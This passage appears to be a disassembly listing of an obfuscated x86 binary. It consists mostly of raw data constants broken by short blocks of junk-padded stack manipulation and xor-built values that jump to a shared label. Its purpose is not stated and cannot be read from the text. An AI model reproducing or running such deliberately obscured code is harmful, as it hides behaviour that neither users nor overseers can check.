		dd 19AC417Ah, 8308ED4Bh, 47A8EE27h, 0B2806CEFh,	0DCB286E1h
		dd 0CC94F178h, 2296E269h, 2401886Ch, 2775845Ch,	1A0C4853h
		dd 16C44D29h, 0DCE79F41h, 57DDC37Ah, 513082FCh,	230BF2C6h
		dd 20000001h, 975ED4Bh,	34026ABh, 0B7054E38h, 9D7359AAh
		dd 10F6B039h, 0DB393DB4h, 0C8A8F53Eh, 0B895E36Eh, 45BE907Ah
		dd 0E0167F7Ah, 86961F8Fh, 78CE297Ah, 961FB704h,	8D913786h
		dd 0B3B2DB05h, 4E298F74h, 4A2E65C5h, 588B7F8Eh,	44897Ch
		dd 0C0A20000h, 2F89D259h, 2360C64Fh, 68BAF8D5h,	177A45EFh
		dd 0F946BA0Ch, 0A08695EFh, 1006CB8h, 0ED1115B7h, 89622482h
		dd 0BE2A402h, 94ED2680h, 0B1A99A8Ch, 42ADE640h,	710125A3h
		dd 74B2F56Fh, 838Bh, 60C4A000h,	0D9BF11E9h, 583C9254h
		dd 2970FB5Ch, 961FFF51h, 9E6FEB4Dh, 599DFB28h, 6CC5581Dh
		dd 2CA50180h, 0E64DCC2Eh, 731F999Dh, 87887A48h,	0AC04DABEh
		dd 32ACB763h, 1DD1384Ah, 9BA825FBh, 0B38648A2h,	0E04A1D91h
		dd 5B00000Ah, 29CF0FFCh, 0F412C031h, 0BE589A11h, 4E250A3h
		dd 7B2B2BA6h, 0B13C925Fh, 0C815BBDh, 0C44F28CEh, 9D14F016h
		dd 6E94FD59h, 7A3CD90Dh, 0C452D9F4h, 8D6BEB66h,	39B2A029h
		dd 11E960C4h, 0E456DFBFh, 503F3h, 59C07000h, 0FC6861F7h
		dd 0A177D7EDh, 0A8FB4FC4h, 389C6441h, 3FBFC9B1h, 0E2090A87h
		dd 4DA0F4DFh, 456C8549h, 3763327Ah, 869589C4h, 887EF355h
		dd 0B39A855Bh, 8A44B3F7h, 0C888695h, 4C58981Ah,	210A74B4h
		dd 957D82F5h, 0D0246F86h, 23B65h, 1666CE00h, 0FD806CEFh
		dd 0E61951Ch, 0FB806CEFh, 9C6441A8h, 0BFC9B138h, 855BE6C8h
		dd 0BE9AE508h, 0FCA22357h, 40F7A5Bh, 74FD593Fh,	6CC9AFC6h
		dd 5B3391E7h, 0E3B614D2h, 94FF0CD5h, 0FDAF4B4Fh, 77188074h
		dd 5925F5F6h, 0E7C83EADh, 9FBh,	0EA689B40h, 3125D40Ch
		dd 79FD76D7h, 0BDB1429Fh, 0CA08855Bh, 13F13E9Ah, 0E0BA5C9Eh
		dd 0AC0FE96Dh, 75D13727h, 8BDA7EFCh, 3CD82C8Fh,	75F8957Ah
		dd 860BED4Bh, 0D478DCB2h, 2D5C7303h, 0CC49B72Ah, 47A95B3Ah
		dd 0AB0D56B1h, 0A7EC5AD3h, 4F2FE151h, 3D1B60C6h, 0F57CD8E9h
		dd 0BFCE1641h, 8CFC7ADDh, 63D5C84Ah, 8FDDB01h, 180h, 37B8FEC7h
		dd 0A2806CADh, 4BA89BF1h, 0EEC33462h, 8A56806Ch, 88448F7Bh
		dd 7BD3B187h, 0D3DD34F2h, 5D22E61Fh, 6FE646EAh,	0B61489Bh
		dd 77D5D1B5h, 41A393FAh, 0C0A53D8h, 7A456842h, 0E004E2ADh
		dd 8695C893h, 0E969BD5Bh, 74B40A07h, 5D23h, 0AF0EEA00h
		dd 17034224h, 8695C0A4h, 0DD3B020Dh, 0D259C012h, 0EF598D89h
		dd 90067A45h, 0B50BB36h, 0EF83F422h, 0CB168695h, 14F62438h
		dd 9BE22199h, 0EFF344B2h, 0B5DE8695h, 69B29367h, 95EFCA2Dh
		dd 86C3786h, 95EFAB08h,	81A52386h, 0B3E6EFF1h, 62C59374h
		dd 0E63211E9h, 0C517h, 60C4DC00h, 0EF4CAFEBh, 0EAB5806Ch
		dd 0EF229581h, 848F806Ch, 0B50BCDBDh, 2C884E38h, 348CC5A5h
		dd 266DDD2Ch, 11987CD2h, 1E2499DDh, 19FD806Dh, 0D940A290h
		dd 21F77CDFh, 147FCB38h, 4AB2E0CDh, 0B57A489Ah,	70B881EAh
		dd 48B8BE27h, 288EEA89h, 7429E24Ah, 0F675707Ah,	72C6AFAFh
		dd 0FC5214E7h, 6E4A9564h, 502A2A88h, 12E37FDDh,	17147F54h
		dd 0B38647FAh, 68D2E529h, 0D3000008h, 0A147F704h, 6C8A48B9h
		dd 36D00289h, 0FC1AD82Bh, 0F3A3931Eh, 39B40AD7h, 0F479D335h
		dd 4CC7A046h, 58C688Eh,	0E61C75D1h, 7A3CD595h, 4BDA617Ch
		dd 0EEC33462h, 652E806Ch, 0EE991A18h, 1F00806Ch, 8855B39h
		dd 0C1482CCAh, 60C4860Dh, 0DFBF11E9h, 79F3E456h, 70000002h
		dd 89D259C0h, 5CE31E8Dh, 16D0437Ah, 9CFBA512h, 7BA32986h
		dd 0ACDAF9FBh, 22F3174h, 663A0000h, 806CEF16h, 0EE3A0A76h
		dd 8F3590EDh, 785CA72Ch, 6BB0FB9Eh, 5CCBB82Fh, 0C8E22E7Ah
		dd 0E3365BCFh, 112C82Ch, 71F85C24h, 60EB4C14h, 0EF6F4D86h
		dd 4224AD09h, 41AA1188h, 89B93A78h, 0FD58869Ch,	0FD53B076h
		dd 2B6F4692h, 8075758Fh, 1161778h, 32AD58AEh, 795EBFCh
		dd 312E0000h, 6AF610C2h, 0D8BD5B9Bh, 0DC05E353h, 6BC92F2Fh
		dd 0AC2474E6h, 0CE0C8167h, 13C34E28h, 559912F5h, 0E052DBB3h
		dd 0C6296D44h, 337A3CD5h, 60C4EB12h, 0FB9C8CE9h, 22EA448Bh
		dd 0F2542470h, 0EE4A931Ah, 0C0B0840Fh, 0B8899DBBh, 0B6E155DCh
		dd 7ADD052Eh, 17CC4h, 60C46100h, 0C83011E9h, 366C691Ch
		dd 806C22C5h, 0EE3D632Ch, 5A381C78h, 0A2CB0B82h, 0ED1BAA7Eh
		dd 28C8F459h, 0C4016F85h, 906A4EA9h, 0FF59A209h, 62C09419h
		dd 53A489EFh, 59AB0C0Ah, 0D16806Ch, 291FEB2Fh, 87887A45h
		dd 8970CF23h, 0D87C8695h, 4824CC46h, 3ADE74B4h,	17000000h
		dd 89D259C0h, 66C04D2Fh, 9DE6CF2Dh, 8DEB603Bh, 45EF598Dh
		dd 0AD1D067Ah, 0B33E9C64h, 0EFD62565h, 0BD168695h, 0C4C09973h
		dd 0F7C592A7h, 9B45CD51h, 5774B31Bh, 0C1h, 0E960C49Ch
		dd 0D9D9BF11h, 0D132F47Dh, 5E28A57Bh, 0FA5C2A75h, 12CFA922h
		dd 0EF46A9E1h, 6DB3806Ch, 6AB9018Ah, 74E3803h, 0EE58A9B1h
		dd 15F157A5h, 0B71A5E9Ch, 62806CF4h, 31D3038Ah,	0BCFAC368h
		dd 7A48C144h, 3D9BE0B3h, 0A089D25Fh, 99110172h,	51A7E886h
		dd 109D7395h, 853C6213h, 0FACDC1B3h, 647h, 0A69467FCh
		dd 0E5699840h, 2D21AA03h, 79FD0ECBh, 86B4399Fh,	5735FAD6h
		dd 1CFE18DAh, 0E0BB5D91h, 0A90DEB6Bh, 3F963220h, 3CD378FBh
		dd 394C617Ah, 8475ED4Bh, 0D47CD2B0h, 43D54C6Ah,	8BD03BC4h
		dd 0D5206A85h, 0C3296F0Dh, 8009ED0Bh, 0D32452BBh, 3E806C1Eh
		dd 33F77AD8h, 0ABA389D0h, 0E960C420h, 0B5C83011h, 797502DDh
		dd 77D7B583h, 0EB157CFEh, 4DD7AF2h, 0ACD033F7h,	0F0690876h
		dd 8FDC3803h, 2Ch, 9ED4B64h, 8FED2680h,	0EE494D29h, 674E8565h
		dd 0E069CD83h, 0B86E0C06h, 18832F8Fh, 4190EB53h, 4EA922FBh
		dd 36E0F767h, 41000000h, 866460C4h, 0D54BF0Bh, 7EF55020h
		dd 0E452561Ah, 0B3806CEEh, 3E9056A7h, 0F210D65Dh, 0DB0CC264h
		dd 0C4A0A185h, 4514DA68h, 828E5E74h, 0EB6A9499h, 0DC1E793Eh
		dd 0BED4B57h, 78DCB286h, 0C65309F1h, 69CF107Dh,	0F030048Dh
		dd 7A5CE26Fh, 542C091Ah, 13F579F0h, 0A7E932BBh,	8BE53D32h
		dd 75C51337h, 5CB90297h, 8D3C6026h, 78E0B080h, 86D23189h
		dd 0AEE3758h, 0DD3B3BB2h, 3384F279h, 4E8CCD52h,	3396360Dh
		dd 6DB3A1ADh, 60A307F4h, 92483E19h, 91469907h, 3EE28B89h
		dd 3A69D15Ch, 2CDD05D3h, 0C52E095Ah, 0A66BE1D1h, 0A85DC686h
		dd 0A7279013h, 0E0B51A90h, 5B000004h, 29CF0FFCh, 0F412C031h
		dd 0BE589A11h, 4E250A3h, 7B2B2BA6h, 0B13C925Fh,	0C815BBDh
		dd 0C44F28CEh, 9D14F016h, 6E94FD59h, 7A3CD30Dh,	0C452D9F4h
		dd 8365E960h, 2C4A22Bh,	7EDA23AAh, 7E551598h, 15F0561Ah
		dd 0EA76289Eh, 0EE72AF1Bh, 0C5838238h, 80846061h, 9644AF22h
		dd 8423B1FFh, 13D1ED3Eh, 630ED6C5h, 4A247ADDh, 1000000h
		dd 0E4E7454Bh, 1B67ED22h, 75BE5B3Dh, 5AB6EA28h,	0B6D97A45h
		dd 0B8358B6Dh, 5EB785CEh, 41AA21FAh, 72B93A78h,	7F208695h
		dd 0ECB4DD19h, 0ED26800Bh, 732E8B8Fh, 13EB8695h, 0DDBE589Ah
		dd 30CF9056h, 46000004h, 479518F2h, 0E960C48Ch,	56DFBF11h
		dd 7DFE240Dh, 64806CEEh, 0FB19DD3Bh, 4A48951Eh,	7A45BE80h
		dd 0D35E3898h, 72345F85h, 961FC13Eh, 978F0D86h,	4E72FF21h
		dd 0D57011B5h, 5B2FA407h, 0F5FF2C08h, 0D74B3B8h, 2Ah, 3487F3C4h
		dd 9D869612h, 0C0ADA6F2h, 8D89D259h, 7A45EF59h,	49AD1D06h
		dd 8695EFEAh, 36C066E2h, 74B3E6AEh, 10544h, 60C4E100h
		dd 0AD0B8664h, 0A3E046CBh, 440D7358h, 8B2A8B70h, 735AD7B5h
		dd 1DF35525h, 9470D690h, 0ABEF301Dh, 806C6348h,	268AEEB1h
		dd 0C90D8460h, 0D85B5FA0h, 0C1806C62h, 63067A5Eh, 7E806C5Eh
		dd 0C127179Eh, 401AEC65h, 0D12250D9h, 40806C67h, 0B69D6DE4h
		dd 45AE899Ah, 2334205Bh, 0B4E28452h, 806CD943h,	3E9AE5AEh
		dd 3A69D15Ch, 9383F7DEh, 347A45CDh, 9009EB6Bh, 0B7F9C22Bh
		dd 69D25BAh, 8080D40Ah,	8070B33Ah, 40A9F29Dh, 0C106E152h
		dd 7147C88Ch, 0E6E6441Ch, 45AE8904h, 4C2B595Bh,	333D63EEh
		dd 79FDDB61h, 1091399Fh, 25AE0F66h, 0F99FE6FFh,	0F0D3971Ch
		dd 0CBD4EA9h, 0A7AD5D1Fh, 2F95C63h, 95420000h, 0C612F466h
		dd 4E10737h, 0B0A94F8Fh, 97759343h, 5088D81Ah, 0B2A02D83h
		dd 0FF7FF254h, 135BE19h, 4C8E07E7h, 1A9D99E8h, 877A3CD1h
		dd 66C447EEh, 298D6BEBh, 7DDBB2A0h, 7350169Bh, 454B2A25h
		dd 86789E09h, 6EC82C1Ch, 0A62B8DABh, 53B883C0h,	40B3AE0Ah
		dd 4B4FADE6h, 7A457117h, 8E03E1B7h, 0A0C6ACAAh,	0FD00E335h
		dd 0AAFB4F96h, 0FEC513CEh, 9AA729F0h, 4182644Fh, 72C8376Bh
		dd 0F3518695h, 49901DF3h, 32C31FF1h, 9A8C8274h,	0E8480524h
		dd 27AC090Fh, 0D3390043h, 8157E93Dh, 88DBAF24h,	63757FACh
		dd 0BD8D74B4h, 0A6000000h, 840BED4Bh, 6CEF1D9Eh, 0B09B8480h
		dd 0AF268664h, 2AA705DBh, 0EA85585Ch, 0F85C806Ch, 431BFD71h
		dd 0FB9E7CCAh, 2F2F6BB0h, 507A45E8h, 2CED0FCFh,	8355BE87h
		dd 72CBA12Ah, 0F6C201F9h, 715CAFB2h, 6441D280h,	7E6DEE34h
		dd 0C11FB738h, 3371228Ch, 6533F523h, 0C72E0A87h, 0A9BAB2FEh
		dd 72540F6Dh, 715214E7h, 8E6CC216h, 5735D303h, 287E29DAh
		dd 0E125AD5Dh, 1D2DEh, 1F26900h, 0DE2F2BCDh, 0A823FA1Ch
		dd 66954CAAh, 31BC12F4h, 0A8756D3Dh, 719747CAh,	3ED81A97h
		dd 8264D65Dh, 17B3A32Ah, 0CFF778BEh, 0C3E27A3Ch, 0EB66C4B8h
		dd 2D298D6Bh, 79FDC435h, 6FE24010h, 0E36C489Bh,	11E960C4h
		dd 3169C830h, 0E02CA706h, 0C62F7E9Dh, 6C0C5FD0h, 0F3D94A80h
		dd 0C432B91Dh, 806C0C73h, 68EA355Eh, 5EA72E8Eh,	4CA823FAh
		dd 307B1EFCh, 24D50DEBh, 15B9FDD0h, 427A44FBh, 342C69D1h
		dd 22FA5EF2h, 0A0F4DFABh, 73E36AC2h, 5AA30891h,	1FB20571h
		dd 81678695h, 694FD00Ch, 9E01E04h, 5CC7806Eh, 0D95034EAh
		dd 0D155E361h, 62F2317Fh, 0E6857C2Dh, 0DA613892h, 96AA8F1h
		dd 0F08CBE24h, 136449AFh, 86C9D45h, 970DEA08h, 9042CD86h
		dd 191D9676h, 92E73996h, 71C91003h, 0F3B73C9Fh,	348C9286h
		dd 3A44B7E3h, 0E2AD92E7h, 0DD543096h, 951EFB19h, 27C84A48h
		dd 0B0008CC0h, 0BBE85ED5h, 32F405DDh, 175DFBD1h, 9F41749h
		dd 0F80BD600h, 2D4D9391h, 3FCCCD18h, 0D8BC12D4h, 0C4047451h
		dd 0C2FD3B7Ch, 0D7778548h, 0F60264A9h, 7DE3DEA2h, 0B6FD9CA9h
		dd 9D1E046Dh, 49910D9h,	0A2D03D1Bh, 92E9C830h, 0E406345Fh
		dd 5CA58E35h, 39ECD526h, 5533C9Fh, 0E308EA28h, 0ACF79929h
		dd 0E1157E47h, 0A569F78Eh, 8DEE287Bh, 74A569F7h, 9B7DCD2Bh
		dd 0E1884AC3h, 0C63CB717h, 0A569F775h, 1EE8335Ch, 0A501E735h
		dd 0FB4FC4A1h, 85F941A8h, 0ACA1949Ah, 80C165F3h, 4FA9AD24h
		dd 0BB1D66EFh, 0BF0369E2h, 37F300D9h, 0F7D056CAh, 0BA5C9E17h
		dd 8B7AE6E2h, 3D8DD43Fh, 26D50CD4h, 118DD2h, 4B620000h
		dd 0B48009EDh, 0EC34642Dh, 33A55306h, 0C4EC67B5h, 441AEC1Fh
		dd 3F9169E0h, 0BD13D75Ch, 3E9056DBh, 0B315D558h, 309650DDh
		dd 0AA6CDA29h, 28EE58D3h, 3A79C130h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	453Ch
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebp
		push	35BE4B7Dh
		pop	ebp
		xor	ebp, 331B2E24h
		xor	ebp, 956842h
		mov	esi, ebp
		pop	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], esi
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		dd 0B8BC95F3h, 63021A4h, 0E0FFC503h, 13576E8Dh,	6C8CE626h
		dd 1000C42Fh, 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 30224EEDh
		dd 8428B06h, 2638453Dh,	38850F78h, 8B000001h, 4A8B0C42h
		dd 0BBC8D318h, 6C5A5012h, 0E883C333h, 6D858904h, 8B06291Eh
		dd 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 97EBF6BEh, 2BC633DCh
		dd 0FCE083C7h, 8904E883h, 292D8185h, 14428B06h,	20058589h
		dd 428B0629h, 0B0E95318h, 0FF000000h, 290FF5B5h, 0B9E906h
		dd 0B5FF0000h, 6293545h, 0AEE9h, 0DDB5FF00h, 0E9062919h
		dd 0A3h, 0FEDB5FFh, 98E90629h, 0FF000000h, 291F6DB5h, 8DE906h
		dd 0B5FF0000h, 6290F71h, 82E9h,	91B5FF00h, 0E906291Ah
		dd 77h,	1A15B5FFh, 6CE90629h, 0FF000000h, 2916B5B5h, 61E906h
		dd 0B5FF0000h, 6292FD9h, 56E9h,	0A1B5FF00h, 0E9062927h
		dd 4Bh,	1B7DB5FFh, 40E90629h, 0FF000000h, 2907A1B5h, 35E906h
		dd 0B5FF0000h, 62900E5h, 2AE9h,	9B5FF00h, 0E906291Bh, 1Fh
		dd 264DB5FFh, 14E90629h, 8B000000h, 0BB8D8h, 0F7660000h
		dd 0AF8D8DE3h, 3063022h, 0FFE1FFC8h, 2931E995h,	858B5B06h
		dd 6291E6Dh, 0F045839h,	0F85h, 16A5300h, 59195FFh, 0E95B0629h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 1EED858Bh
		dd 8D8D0629h, 630239Dh,	8B014189h, 0BE8C3h, 0EF470000h
		dd 0D9B34A27h, 0F3EBDAE7h, 0C1816681h, 525F48CFh, 815EEF8Ah
		dd 5B1CC7h, 16A1B800h, 81660000h, 0FF035FDAh, 0ABA6637h
		dd 0B9665BC2h, 0EB81AFF2h, 5E27FC13h, 14E9h, 0A00B7200h
		dd 0B5A75965h, 8EA95D15h, 0AF62259Ah, 773DDE33h, 0E7EB810Bh
		dd 0E961F675h, 14h, 6C2BA271h, 5FE8925Eh, 0BCCB066h, 805DE26Ah
		dd 276EB1C8h, 2AA4EB81h, 8B6651E6h, 8B1F89CEh, 0CAEF81F3h
		dd 8115B2EEh, 9A8EEEE6h, 0C6C78158h, 0FC15B2EEh, 90850F48h
		dd 51FFFFFFh, 0B9E18166h, 14E85A45h, 85000000h,	283B3DBAh
		dd 7405F024h, 0A2655B5Ch, 2CBBDA97h, 560F65E6h,	0CE9h
		dd 19466A00h, 88DC0969h, 9A19C9D2h, 805A5BD6h, 0C281FEF7h
		dd 62FEh, 0B8D9B70Fh, 188AD53Bh, 0CDB9F081h, 0B70F188Ah
		dd 0F32FFFEh, 488h, 0D0BB6600h,	0BCBF598Eh, 8133E728h
		dd 762C09E9h, 7B69BF36h, 0F1815148h, 6913F541h,	8AC181FCh
		dd 6668B7D6h, 0F51F38Bh, 0B84h,	5810F00h, 0BE000000h, 3415E671h
		dd 0F951028Fh, 0FEA815Bh, 0F43F7BBh, 1285h, 0DE900h, 0CE1F0000h
		dd 0A9FF9FC8h, 3A265E98h, 81B47E62h, 0F7BB0BC2h, 11E843h
		dd 0BDD0000h, 0FD4EFBA5h, 0B61ECD2h, 4EA8C329h,	0BEB63F4Ch
		dd 5B279B7Eh, 850F485Bh, 19h, 28E9h, 57CC1C00h,	7FAA9EAFh
		dd 3079D9FDh, 3F0B3F37h, 698791BFh, 2840FDFh, 8B000000h
		dd 0FF4FE9FEh, 0B3F0FFFFh, 827D309Fh, 26E98Bh, 31510000h
		dd 54BAh, 8 dup(0)
		dd 4EEE9h, 26AB6800h, 0DE90630h, 68FFF958h, 6302743h, 0F95803E9h
		dd 28B868FFh, 0F9E90630h, 67FFF957h, 2DCB0BF8h,	0F016C435h
		dd 0BA5C9E15h, 8EE6C9Fh, 673727AAh, 4DC0A66Bh, 8D6F89h
		dd 0D85334D2h, 9118FC1Ah, 6AA8F95Dh, 7A3CCA09h,	0C456DDF0h
		dd 3682EB66h, 0FF3D954h, 0EE9ED49h, 0AEE2585h, 54E38B3h
		dd 3FDA383Ah, 5B6BAFF4h, 0BC7A45EBh, 0F352A5D1h, 0D4BF8695h
		dd 0CD43D8Dh, 8C5420ABh, 72468D7Dh, 95F2C13Eh, 978F0D86h
		dd 0B3E3D51Fh, 3346D74h, 0D3240000h, 95E754A7h,	6D2BD86h
		dd 95A2CA7h, 13B92023h,	0DEBF7920h, 57BE9555h, 5BD2AA0Eh
		dd 0C1CF107Dh, 0ACA42E7Dh, 2E62B694h, 7A44E128h, 1F90868Fh
		dd 8A869515h, 0C4B8BE99h, 393A2EAEh, 7E47ECADh,	0D354B238h
		dd 32FE227Dh, 205756Bh,	0AD0E7451h, 148A23E2h, 6C372D0Bh
		dd 5F59C09Ah, 53B076FFh, 0BAF72308h, 0DF83FCA9h, 10066FB4h
		dd 904D1D9Fh, 0C63C190Ah, 904D1D75h, 88E5335Ch,	11C54C28h
		dd 6D9E17F7h, 0A9D1365Eh, 258ED1D5h, 6F000003h,	35D303F0h
		dd 0F81EDC2Dh, 42A4961Dh, 10F66497h, 6F3F3FB2h,	45C8AE73h
		dd 18957791h, 0D05B3CDAh, 0A9208462h, 72A001A5h, 7A3CC901h
		dd 0C0AED5E8h, 0A089D259h, 93F908D0h, 5CCC769Fh, 0CE32637Ah
		dd 7E0F66C4h, 298A8CE4h, 0E8869D79h, 0C54E8271h, 61C791FAh
		dd 0D3298561h, 630C7E4Ah, 0D2006BB2h, 0D4C775BBh, 959B12EAh
		dd 75580D1h, 0F84EC3A1h, 0C36FCFA9h, 99AF755Ch,	0E046A145h
		dd 63C74E2Eh, 0BFF3D920h, 37CC77F5h, 7A8B02DAh,	0B3815F2Fh
		dd 8DA93EF4h, 87000002h, 4DABAB58h, 10F66495h, 0DA3C3EB5h
		dd 0A84E8C7Fh, 0C79747CAh, 0ED60C60Bh, 0A02D8F69h, 78F354B2h
		dd 31B81CFAh, 0CAC8993Dh, 7A3CC769h, 0C036BD50h, 0A089D259h
		dd 20539F78h, 1703AEF1h, 806CBCA4h, 0DF36020Dh,	5C9AB2DBh
		dd 0B2741F7Ah, 9CE3017Eh, 0D74FCD86h, 0ACEF955Fh, 89633574h
		dd 0BECA204h, 7BD3B980h, 0F9DF34F2h, 19D0Ch, 454B3900h
		dd 6CAF3D78h, 2086D2F6h, 10E0CD44h, 58A9B1B7h, 0F1571B71h
		dd 0BC5E9C15h, 0CD2E54DDh, 4C806C87h, 2DF361E8h, 90FBC24Fh
		dd 723454Bh, 0FC1A4E7Eh, 3C6CB598h, 0CCEF1758h,	2266B211h
		dd 7A45BC68h, 67ACC57h,	86961DB9h, 78F9735h, 74B3B4DDh
		dd 4D15h, 624BDE00h, 6CEEC334h,	17652E80h, 765FE4B5h, 0EE86E92Dh
		dd 2073806Ch, 0EE5CDFDBh, 0DA45806Ch, 424E97FEh, 4B299A5Eh
		dd 6188DAC6h, 2446BA9Eh, 537A44F9h, 0B50266C0h,	398694F9h
		dd 0E90B8B93h, 174B4DCh, 0B7h, 2F168C8h, 60C43D36h, 0D9BF11E9h
		dd 583C9254h, 0D7B769D1h, 34F27BD3h, 0C9AFF4DFh, 5696E26Fh
		dd 52FC593Fh, 42B60785h, 0F149905Ah, 0F4116290h, 97F8806Bh
		dd 0A128684Ch, 70806BEFh, 0BE359094h, 82B09BC8h, 2972B960h
		dd 475093EDh, 0CA137C7Ah, 0D105886Eh, 0F100D8B8h, 0EA67C59Bh
		dd 86B31659h, 46699DB3h, 118h, 2614E77Ch, 65E918C0h, 0ADA12A83h
		dd 0F97D8E4Bh, 634B91Fh, 0D7B57A56h, 9C7E985Ah,	603BDD11h
		dd 298D6BEBh, 0BF16B2A0h, 3CC6F87Bh, 0B9CCE17Ah, 80E966C4h
		dd 6CEF2192h, 93878880h, 806CEF20h, 449869F1h, 11788B56h
		dd 0AE20436h, 0C4D85383h, 0BF11E960h, 6E456DFh,	0D7C32893h
		dd 7A462391h, 0B0006D36h, 107D5BD6h, 0EF6FE240h, 963C4CABh
		dd 0DD71D586h, 9743CAA4h, 33A33A66h, 0DDB4A681h, 0C2492CF4h
		dd 964263D4h, 0F7C54E86h, 483EB311h, 8367h, 59C0CC00h
		dd 888D89D2h, 697A5CCCh, 2E8E4026h, 0D2DEB7A7h,	9C9EC9CDh
		dd 16F64258h, 9CF82B9Fh, 13D75E3Eh, 170F3F1Fh, 0AF0954D5h
		dd 0D27044C9h, 77A3F44Ch, 0D9274504h, 6E8AA33Dh, 0AC64650h
		dd 5EB93094h, 49C0A47Ah, 28B6385h, 74F95F39h, 0B77B51B2h
		dd 0FFB08D1h, 513781D2h, 0D3396ADCh, 7CD8E93Dh,	0C7A741F5h
		dd 0F7E5564Ch, 43CCD926h, 0CCCA1378h, 0D926F76Bh, 1BEFCD56h
		dd 3B4h, 0B43F3D00h, 1AEC1FC4h,	9169E044h, 13D75C3Fh, 9056DBBDh
		dd 15D5583Eh, 9650DDB3h, 6CDA2930h, 0EE58D3AAh,	79C13028h
		dd 5BD0683Ah, 0C890000h, 4EC8124h, 89000000h, 0B1682414h
		dd 8900002Bh, 0B9682404h, 89000025h, 8E68240Ch,	59457A23h
		dd 253DE981h, 0E9C136FAh, 0A5C18108h, 890621A5h, 8B5459CAh
		dd 0C4812404h, 4, 8B951h, 0E9810000h, 4A150FECh, 0C181C101h
		dd 4A150FECh, 8B591189h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		dw 47E5h
		dd 0B8039A94h, 63029F5h, 0E0FFC503h, 61580D92h,	0A1BEB44h
		dd 2512E366h, 5E7B349Fh, 25A7FB4Dh, 2915D5D5h, 256C75Fh
		dd 2AC83BCDh, 5B35C646h, 4859317Ah, 65ED7E19h, 27999175h
		dd 5033166Eh, 2BC58D8Dh, 6A0630h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 174003C3h, 0D891D65Bh
		dd 14E94Eh, 76AA0000h, 8FF6DCEFh, 5D259773h, 2A605B39h
		dd 80F677F2h, 0B509D8ABh, 6293245h, 1E6D8D89h, 6A0629h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 5AE8E7C3h, 0F38166E7h, 85C79D67h, 6292D81h, 6F58h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1AC35141h, 4FD5BD12h
		dd 719B0143h, 2649B589h, 85C70629h, 6292005h, 0
		dd 2BEDBD8Bh, 0B5FF0629h, 62916B5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 96C35040h, 90704B3Bh, 1A15A01Bh
		dd 0E995FFEBh, 6A062931h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 5C3BC355h, 70144F50h
		dd 62D8D89h, 6A0629h, 59195FFh,	0C08B0629h, 5D3738EBh
		dd 0F87DB603h, 2E9A4179h, 36CBAA62h, 0C0DE8CC6h, 0E4B718EAh
		dd 3638C76Bh, 96E534C5h, 3F333E43h, 4E72A857h, 0AA019016h
		dd 912FC7E8h, 32649A57h, 40581C2Bh, 9E871D2h, 0EA000000h
		dd 742C1184h, 26ABD6E5h, 4F58D29h, 66590629h, 81AC14BBh
		dd 6165C1h, 8E900h, 18700000h, 0E3F5151Dh, 0BA2F21h, 0E8000000h
		dd 7, 89C7628Dh, 664F6B8Ch, 8B5EDA8Bh, 858B113Ch, 6292BFDh
		dd 6C6CEF81h, 13E82EB7h, 8D000000h, 0D96B3666h,	323E60AFh
		dd 537B966Dh, 17810597h, 9D293962h, 6293211h, 0F8EF815Bh
		dd 813B8005h, 240F2EEFh, 0B8CC801Ah, 0B8113C89h, 484FFC8h
		dd 0F95B589h, 0EA810629h, 522CECF8h, 0C281C18Bh, 522CECF4h
		dd 103DBD09h, 0FA810629h, 0FFFF9F40h, 0FF95850Fh, 0F38BFFFFh
		dd 6E8h, 0A4FF4400h, 802B6BD8h,	0F5EEEDDh, 384h, 0F98B6600h
		dd 5982C681h, 0C7810000h, 6E14035Dh, 9B128B8h, 6E88146h
		dd 346099Bh, 290A5D8Dh,	0F36FF06h, 0C8Eh, 68F0F00h, 0F000000h
		dd 8Bh,	13E95A00h, 0E4000000h, 3A5C45F0h, 0F1994CD0h, 0CCBC4AF6h
		dd 5951A077h, 0EA819A6Bh, 12620489h, 28A58D0Bh,	0EA810629h
		dd 443FAF9Bh, 0E880Fh, 1600000h, 291A759Dh, 61858906h
		dd 61062935h, 5379C281h, 8D8B7904h, 62913D5h, 0FB8B6652h
		dd 12E9068Fh, 91000000h, 0BF607675h, 90123F88h,	0B65A61CDh
		dd 720C0CC6h, 0F9EE818Ah, 295DB244h, 292D7DB5h,	0F5C68106h
		dd 565DB244h, 0F485FF5h, 1785h,	6880F00h, 81000000h, 0DA5335D7h
		dd 25E94Dh, 77C00000h, 9095AF34h, 0FE9h, 9AF6C100h, 0B4A45B3Dh
		dd 1780B235h, 0F50F3F9Bh, 0FFFF38E9h, 0A7348FFFh, 0E8FD6126h
		dd 11h,	919E0483h, 52AE9DD0h, 1E89F9F1h, 0B60FAA4Eh, 0A1958B61h
		dd 5E062911h, 73C681F8h, 0E800005Ch, 5,	3F8CFD18h, 0F18D8BF6h
		dd 5A06291Eh, 8D0FDB33h, 6, 2C498D31h, 3C8B0629h, 0D281661Eh
		dd 0C781D3CEh, 715AA0BCh, 61606053h, 357C0B8h, 81596171h
